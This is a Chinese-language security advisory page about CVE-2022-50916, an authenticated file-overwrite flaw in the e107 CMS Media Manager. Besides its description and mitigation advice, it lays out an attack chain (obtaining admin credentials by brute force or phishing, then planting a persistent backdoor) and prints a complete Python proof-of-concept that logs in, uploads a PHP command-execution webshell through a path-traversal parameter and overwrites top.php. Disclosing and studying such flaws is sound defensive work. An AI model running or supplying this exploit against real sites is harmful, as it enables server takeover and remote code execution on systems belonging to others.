IPBUF安全漏洞报告
English
CVE-2022-50916 CVSS 7.2 高危

CVE-2022-50916 e107 CMS Media Manager文件上传漏洞导致服务器文件覆写

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50916
漏洞类型
文件上传漏洞
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
e107 CMS

相关标签

文件上传漏洞任意文件写入e107 CMS远程代码执行CVE-2022-50916路径遍历Webshell高危漏洞

漏洞概述

CVE-2022-50916是e107 CMS 3.2.1版本中存在的一个高危文件上传漏洞。该漏洞允许已认证的管理员通过Media Manager的导入功能覆盖服务器上的任意文件。攻击者可以通过操控上传URL参数,将恶意文件(如PHP webshell)上传并覆写服务器上的关键文件,如top.php等应用文件,从而实现远程代码执行。由于该漏洞需要管理员权限才能利用,CVSS评分达到7.2分,属于高危级别。攻击向量为网络可访问,攻击复杂度低,无需用户交互,但需要高权限认证。成功利用此漏洞可导致机密性、完整性和可用性均受到严重影响,攻击者可完全接管服务器。e107 CMS是一款开源的内容管理系统,广泛应用于各类网站搭建,此次漏洞影响其核心文件上传功能,存在被恶意利用的风险。

技术细节

e107 CMS 3.2.1版本的Media Manager组件存在文件上传限制绕过漏洞。漏洞根源在于Media Manager的导入功能对用户上传的文件缺乏充分的验证机制。具体来说:1) 攻击者首先需要获取e107 CMS的管理员账号权限;2) 登录后访问Media Manager的导入功能模块;3) 通过拦截并修改HTTP请求中的上传路径参数,将目标文件路径指向服务器上的现有文件(如e107_plugins目录下的PHP文件);4) 上传恶意PHP文件(如包含webshell的top.php);5) 服务器响应成功后,恶意文件成功覆写原文件;6) 攻击者通过访问被覆写的PHP文件即可在服务器上执行任意代码。该漏洞的利用关键在于e107 CMS未对上传文件的目标路径进行严格校验,允许攻击者通过路径遍历或路径操控将文件写入任意位置。攻击者通常会选择覆写网站根目录或插件目录下的关键PHP文件,以获得持久化的远程代码执行能力。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的e107 CMS版本,确认版本为3.2.1或存在相同漏洞的其他版本
STEP 2
步骤2: 获取管理员权限
通过暴力破解、钓鱼攻击、凭证泄露或其他方式获取e107 CMS的管理员账号密码
STEP 3
步骤3: 访问Media Manager
使用管理员账号登录e107 CMS后台,导航至Media Manager导入功能模块
STEP 4
步骤4: 构造恶意请求
拦截上传HTTP请求,通过路径遍历或参数操控将上传目标路径指向服务器关键文件(如top.php)
STEP 5
步骤5: 上传恶意文件
发送包含PHP webshell的恶意文件,服务器未正确校验导致文件被写入目标位置
STEP 6
步骤6: 执行代码
访问被覆写的PHP文件,通过URL参数传递系统命令,实现远程代码执行
STEP 7
步骤7: 持久化控制
利用获得的服务器权限部署后门程序,建立持久化访问通道,完全接管服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from bs4 import BeautifulSoup # CVE-2022-50916 PoC - e107 CMS Media Manager File Upload to Override # Target: e107 CMS 3.2.1 # Vulnerability: Authenticated admin can override server files via Media Manager import TARGET_URL = "http://target.com/e107_admin/media.php" # Modify target URL USERNAME = "admin" PASSWORD = "admin123" def get_csrf_token(session, url): """Extract CSRF token from the login page""" response = session.get(url) soup = BeautifulSoup(response.text, 'html.parser') token_input = soup.find('input', {'name': 'auth-token'}) return token_input['value'] if token_input else None def login(session, username, password): """Login to e107 CMS as admin""" login_url = f"{TARGET_URL.replace('/media.php', '/index.php')}" csrf_token = get_csrf_token(session, login_url) login_data = { 'username': username, 'userpass': password, 'auth-token': csrf_token, 'login': 'login' } response = session.post(login_url, data=login_data, allow_redirects=True) return 'admin' in response.text.lower() or response.status_code == 200 def exploit_file_override(session): """Exploit the file upload vulnerability to override server files""" # Malicious PHP file content (webshell) malicious_content = b"<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Target file to override (top.php in web root) target_file = "top.php" # Upload endpoint with manipulated path parameter upload_url = f"{TARGET_URL}?mode=main&action=import&upload_path=../../../{target_file}" files = { 'file': (target_file, malicious_content, 'application/x-php') } response = session.post(upload_url, files=files) return response.status_code == 200 or 'success' in response.text.lower() def main(): if len(sys.argv) < 2: print("Usage: python cve-2022-50916.py <target_url>") print("Example: python cve-2022-50916.py http://vulnerable-site.com/e107_admin/") sys.exit(1) global TARGET_URL TARGET_URL = sys.argv[1] session = requests.Session() print("[*] Attempting login...") if login(session, USERNAME, PASSWORD): print("[+] Login successful!") print("[*] Exploiting file upload vulnerability...") if exploit_file_override(session): print("[+] File override successful! Webshell uploaded.") print(f"[*] Access webshell at: {TARGET_URL.replace('/media.php', '')}/top.php?cmd=id") else: print("[-] Exploitation failed.") else: print("[-] Login failed. Check credentials.") if __name__ == "__main__": main()

影响范围

e107 CMS <= 3.2.1

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 临时禁用Media Manager的导入功能;2) 限制管理员账号数量,对管理员权限实施最小化原则;3) 加强管理员账号密码策略,启用双因素认证;4) 配置Web服务器限制.php文件的执行权限,特别是在上传目录;5) 使用ModSecurity等WAF规则阻断路径遍历和异常文件上传请求;6) 实施文件完整性监控,及时发现关键文件被篡改;7) 限制管理后台的网络访问,仅允许可信IP访问e107_admin目录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表